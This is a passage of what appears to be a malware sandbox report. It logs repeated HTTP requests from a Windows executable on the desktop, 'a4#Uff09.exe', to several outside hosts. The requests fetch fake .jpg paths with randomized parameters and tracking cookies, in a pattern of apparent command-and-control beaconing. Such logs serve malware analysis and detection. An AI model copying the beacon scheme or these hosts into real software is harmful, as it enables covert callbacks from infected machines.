                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          81192.168.2.74979837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:18.210602045 CEST203OUTGET /images/xs2.jpg?20477b5a=37477072 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:18.947875977 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:18 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:18.950083017 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:19.177927017 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:18 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:18 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          82192.168.2.74979954.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:19.304636002 CEST310OUTGET /images/xs.jpg?21e29ffa=821534666 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159275|1720159208|4|15|0
                                                          Jul 5, 2024 08:01:20.040005922 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:19 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          83192.168.2.74980044.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:20.049747944 CEST302OUTGET /xs.jpg?222ff603=1720705545 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159275|1720159209|4|15|0
                                                          Jul 5, 2024 08:01:20.539915085 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:20 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          84192.168.2.74980144.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:20.674195051 CEST305OUTGET /images/xs.jpg?2340b65a=-746306020 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159276|1720159210|4|15|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:21.177874088 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:21 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          85192.168.2.74980278.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:21.203555107 CEST192OUTGET /xs.jpg?23fa445e=1741073324 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:21.926481009 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:21 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          86192.168.2.74980337.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:21.965532064 CEST204OUTGET /images/xs2.jpg?258061e0=109227296 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:22.670083046 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:22 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:22.672193050 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:22.895543098 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:22 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
                                                          content-length: 340
                                                          date: Fri, 05 Jul 2024 06:01:22 GMT
                                                          Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 0a 07 07 09 07 06 0a 09 08 09 0b 0b 0a 0c 0f 19 10 0f 0e 0e 0f 1e 16 17 12 19 24 20 26 25 23 20 23 22 28 2d 39 30 28 2a 36 2b 22 23 32 44 32 36 3b 3d 40 40 40 26 30 46 4b 45 3e 4a 39 3f 40 3d ff db 00 43 01 0b 0b 0b 0f 0d 0f 1d 10 10 1d 3d 29 23 29 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d ff c2 00 11 08 00 0a 00 0a 03 01 11 00 02 11 01 03 11 01 ff c4 00 15 00 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 ff c4 00 14 01 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff da 00 0c 03 01 00 02 10 03 10 00 00 00 b3 00 0f ff c4 00 14 10 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 01 00 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 02 01 01 3f 00 1f ff c4 00 14 11 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 ff da 00 08 01 03 01 01 3f 00 1f [TRUNCATED]
                                                          Data Ascii: JFIFC$ &%# #"(-90(*6+"#2D26;=@@@&0FKE>J9?@=C=)#)================================================== ? ? ?


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          87192.168.2.74980454.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:23.145855904 CEST311OUTGET /images/xs.jpg?278faa5f=-976333861 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159279|1720159208|4|16|0
                                                          Jul 5, 2024 08:01:23.857791901 CEST595INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:23 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159283|1720159208|4|17|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          88192.168.2.74980544.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:23.869122982 CEST303OUTGET /xs.jpg?28beeeaa=-1560560984 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Cookie: snkz=8.46.123.33; btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159280|1720159209|4|16|0
                                                          Jul 5, 2024 08:01:24.380922079 CEST586INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:24 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159284|1720159209|4|17|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          89192.168.2.74980644.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:24.393678904 CEST305OUTGET /images/xs.jpg?29c644f8=1401719280 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159281|1720159210|4|16|0; snkz=8.46.123.33
                                                          Jul 5, 2024 08:01:24.891053915 CEST334INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:01:24 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159284|1720159210|3|17|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          90192.168.2.74980778.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:24.899269104 CEST193OUTGET /xs.jpg?2abb0eed=-1427358796 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:25.571018934 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:01:25 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          91192.168.2.74980837.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:01:25.619836092 CEST205OUTGET /images/xs2.jpg?2be8bf39=-611599331 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:01:26.356429100 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:01:26 GMT
                                                          location: http://ampyazilim.com.tr/images/xs2.jpg?1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 [TRUNCATED]
                                                          Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 301 Moved Permanently</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">301</h1><h2 style="margin-top:20px;font-size: 30px;">Moved Permanently</h2><p>The document has been permanently moved.</p></div></div></body></html>
                                                          Jul 5, 2024 08:01:26.707370996 CEST211OUTGET /images/xs2.jpg?1 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Connection: Keep-Alive
                                                          Jul 5, 2024 08:01:26.932693958 CEST646INHTTP/1.1 200 OK
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          cache-control: max-age=84600, public
                                                          expires: Fri, 12 Jul 2024 06:01:26 GMT
                                                          content-type: image/jpeg
                                                          last-modified: Thu, 02 Dec 2021 06:14:43 GMT
                                                          accept-ranges: bytes
